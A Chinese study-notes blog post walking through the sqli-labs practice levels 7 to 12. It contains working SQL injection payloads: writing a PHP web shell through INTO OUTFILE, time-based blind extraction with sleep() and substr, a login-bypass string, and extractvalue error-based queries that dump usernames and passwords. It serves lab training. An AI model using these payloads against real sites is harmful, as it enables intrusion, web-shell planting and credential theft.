首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

sqli labs学习笔记7-12sleep、extractvalue

【第七关】

首先还是 判断注入

基本可以确定 不是数字型的注入了

输入个‘号报错了

过滤注释了?

有了之前加括号的经验 我们尝试下

终于页面回显正常 这一关主要是利用file权限进行文件的写入

找到本地文件夹的路径E:\phpStudy\WWW\sqlilabs\Less-7

我们利用into outfile 先尝试写个txt

id=-1'))union select 1,2,3 into outfile"E:\\phpStudy\\WWW\\sqlilabs\\Less-7\\131.txt" --+

有了这个思路 我们写入一句话

id=-1'))union select 1,2,"" intooutfile "E:\\phpStudy\\WWW\\sqlilabs\\Less-7\\131.php" --+

尝试访问下

最后就用刀连接 验证成果

【第八关】

这关其实和第五关差不多 都是可以根据回显来判断的 不再演示 这里进行了延时注入的复习

首先 为什么要用延时注入?

部分网站没法使用union select联合查询 而且部分网站没有输出显示 只能通过延时判断

知识点:

Sleep(n)使得数据库在暂停n秒后再将搜索结果输出

If((条件),m,n)如果条件为真 返回m 否则返回n

Select *from user where id ="1" and if((3>2),1,sleep(5))

Select* from user where id ="1" and if((3>22),1,sleep(5)) 延时5秒

当然是可以结合length(database())等语句使用的

首先判断数据库长度

id=1'andIf(length(database())=1,1,sleep(5))--+ 数据库长度为1 正确就 立即返回否则延时5秒 下图 延时效果 浏览器 一直转 一些图 不放了 太多了 做的比较详细

猜解数据库名 昨天的二分法可能不够详细 这里做个详细例子

id=1'andIf(ascii(substr(database(),1,1))>97,1,sleep(5)) --+ 数据库库名的第一个字母ascii大于a 【是】

id=1'andIf(ascii(substr(database(),1,1))>109,1,sleep(5)) --+ 判断是不是大于m【是】

id=1'andIf(ascii(substr(database(),1,1))>116,1,sleep(5)) --+ 判断是不是大于t【否】

也就是说第一个字母的范围 现在在m-t之间 109-116之间

id=1'andIf(ascii(substr(database(),1,1))>113,1,sleep(5)) --+ 判断是不是大于q【是】

现在的范围在113-116之间了

id=1'andIf(ascii(substr(database(),1,1))>114,1,sleep(5)) --+ 判断是不是大于r【是】

id=1'andIf(ascii(substr(database(),1,1))>115,1,sleep(5)) --+ 判断是不是大于s 【否】 出现延时

id=1'andIf(ascii(substr(database(),1,1))=115,1,sleep(5)) --+ 不再出现延时 可以判断出 第一个字母 为s

第二个字母 为e

id=1'andIf(ascii(substr(database(),2,1))=101,1,sleep(5)) --+

第三个字母 为c

id=1'andIf(ascii(substr(database(),3,1))=99,1,sleep(5)) --+

以此类推 数据库名为security

这里还是有别的方法的 结合下昨天的left如何使用?

id=1'andif(left(database(),1)='s',1,sleep(5)) --+

id=1'andif(left(database(),2)='se',1,sleep(5)) --+

以此类推

接下来 猜解数据表名

第一张表:limit详情 看上一篇文章

id=1' and if(ascii(substr((select table_name from information_schema.tables wheretable_schema='security' limit 0,1),1,1))=101,1,sleep(5)) --+ 第一个字母为e

id=1' and if(ascii(substr((select table_name from information_schema.tables wheretable_schema='security' limit 0,1),2,1))=109,1,sleep(5)) --+ 第二个字母为m

id=1' and if(ascii(substr((select table_name from information_schema.tables wheretable_schema='security' limit 0,1),3,1))=97,1,sleep(5)) --+ 第三个字母为a

以此类推 第一张表 为email

我们去查最关键的 第四张表

id=1' and if(ascii(substr((select table_name from information_schema.tables wheretable_schema='security' limit 3,1),1,1))=117,1,sleep(5)) --+ 第一个字母为u

以此类推 该表名为users

接下来 获取users的列名

id=1' and if(ascii(substr((select column_name from information_schema.columnswhere table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+ 第一列第一个字母为I

id=1' and if(ascii(substr((select column_name from information_schema.columnswhere table_name='users' limit 0,1),2,1))=100,1,sleep(5)) --+ 第一列第二个字母为d

故 第一列为id

id=1' and if(ascii(substr((select column_name from information_schema.columnswhere table_name='users' limit 1,1),1,1))=117,1,sleep(5)) --+ 第二列第一个字母为u

故 同理可得 第二列为username 第三列为password

猜解列的值

id=1' and if(ascii(substr((selectusername from users limit 0,1),1,1))=68,1,sleep(5)) --+ 第一行第一个字母为D

id=1' and if(ascii(substr((selectusername from users limit 0,1),2,1))=117,1,sleep(5)) --+ 第一行第二个字母为u

以上就是sleep()函数注入整个过程

【第九关】

基于时间的单引号盲注 同第八关 不再演示

【第十关】

基于时间的双引号盲注 其实就是单引号变双引号 payload不变 不再演示

【第十一关】

这里会上新知识点 新方法

首先 得让他报错 才能分析

万能密码 绕过

"Select* from users where username=' ' andpassword =' ' limit 0,1"这其实是执行的语句 加入我们的语句后 变成了 "Select * from users whereusername=' admin' or '1' = '1 --+ ' andpassword =' ' limit 0,1"

什么意思?--+注释掉后面的密码部分 or 1=1 永远成立 那么 前半部分 一定执行 所以成功登录

依旧and 1=1 and 1=2来一遍

这里我们用extractvalue()进行报错注入

先获取数据库名

admin' andextractvalue(1,concat(0x7e,(select database()))) --+

获取表名

admin' andextractvalue(1,concat(0x7e,(select group_concat(table_name) frominformation_schema.tables where table_schema=database()))) --+

当然还有另外一种 not in 的方式 可以获取出来a以外的 b表们

admin' and extractvalue(1,concat(0x7e,(selectgroup_concat(table_name) from information_schema.tables wheretable_schema=database() and table_name not in ('users'))))

获取列名

admin' andextractvalue(1,concat(0x7e,(select group_concat(column_name) frominformation_schema.columns where table_name='users')))

最后就是获取字段名了

admin' and extractvalue(1,concat(0x7e,(select group_concat(username,"-",password) from users)))

继续用下not in

admin'and extractvalue(1,concat(0x7e,(select group_concat(username,"-",password) from users whereusername not in ('Dumb','I-kill-you'))))

【第十二关】

还是先让他报错

报错部分的“)我们基本可以判断 数据库执行方式

"Select * from users where username=(" ")andpassword =(" ") limit 0,1" 怎么绕过?Admin")--+尝试下

"Select * from users where username=("admin ") --+")and password =(" ") limit 0,1" 登录成功!

报错payload基本相同

方法同第十一关 不再演示

加油 共勉

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20190131G0IN0H00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券